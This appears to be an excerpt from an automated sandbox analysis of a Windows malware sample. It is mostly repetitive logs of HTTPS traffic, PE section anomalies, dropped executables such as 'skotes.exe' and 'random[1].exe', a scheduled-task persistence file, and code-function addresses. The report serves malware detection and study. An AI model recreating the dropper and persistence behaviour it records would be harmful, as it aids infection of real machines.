Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 53131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 53108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 53181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 53136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 53119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 53129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 53160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 53139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 53127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53109
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53108
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53102
Source: unknown	Network traffic detected: HTTP traffic on port 53163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53107
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53110
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53119
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53113
Source: unknown	Network traffic detected: HTTP traffic on port 53104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53117
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53115
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53120
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 53126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 53187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 53141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 53186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443

Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.89:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.176:443 -> 192.168.2.6:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49995 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name:
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: random[1].exe.31.dr	Static PE information: section name:
Source: random[1].exe.31.dr	Static PE information: section name: .rsrc
Source: random[1].exe.31.dr	Static PE information: section name: .idata
Source: random[1].exe.31.dr	Static PE information: section name:
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name:
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name: .rsrc
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name: .idata
Source: 9f1158ad0a.exe.31.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9CB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9CB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9CB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C96F280

Source: C:\Users\user\DocumentsIDHJEBGIEB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9635A0	0_2_6C9635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976C80	0_2_6C976C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C34A0	0_2_6C9C34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CC4A0	0_2_6C9CC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D4D0	0_2_6C98D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9764C0	0_2_6C9764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6CF0	0_2_6C9A6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D4E0	0_2_6C96D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5C10	0_2_6C9A5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2C10	0_2_6C9B2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DAC00	0_2_6C9DAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D542B	0_2_6C9D542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D545C	0_2_6C9D545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975440	0_2_6C975440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A0DD0	0_2_6C9A0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C85F0	0_2_6C9C85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98ED10	0_2_6C98ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990512	0_2_6C990512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FD00	0_2_6C97FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985E90	0_2_6C985E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CE680	0_2_6C9CE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C4EA0	0_2_6C9C4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96BEF0	0_2_6C96BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FEF0	0_2_6C97FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D76E3	0_2_6C9D76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7E10	0_2_6C9A7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5600	0_2_6C9B5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C9E30	0_2_6C9C9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989E50	0_2_6C989E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A3E50	0_2_6C9A3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2E4E	0_2_6C9B2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984640	0_2_6C984640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C670	0_2_6C96C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D6E63	0_2_6C9D6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B77A0	0_2_6C9B77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996FF0	0_2_6C996FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96DFE0	0_2_6C96DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7710	0_2_6C9A7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979F00	0_2_6C979F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9960A0	0_2_6C9960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D50C7	0_2_6C9D50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98C0E0	0_2_6C98C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A58E0	0_2_6C9A58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977810	0_2_6C977810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB820	0_2_6C9AB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4820	0_2_6C9B4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C988850	0_2_6C988850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D850	0_2_6C98D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AF070	0_2_6C9AF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5190	0_2_6C9A5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2990	0_2_6C9C2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D9B0	0_2_6C99D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C9A0	0_2_6C96C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98A940	0_2_6C98A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB970	0_2_6C9BB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB170	0_2_6C9DB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D960	0_2_6C97D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DBA90	0_2_6C9DBA90
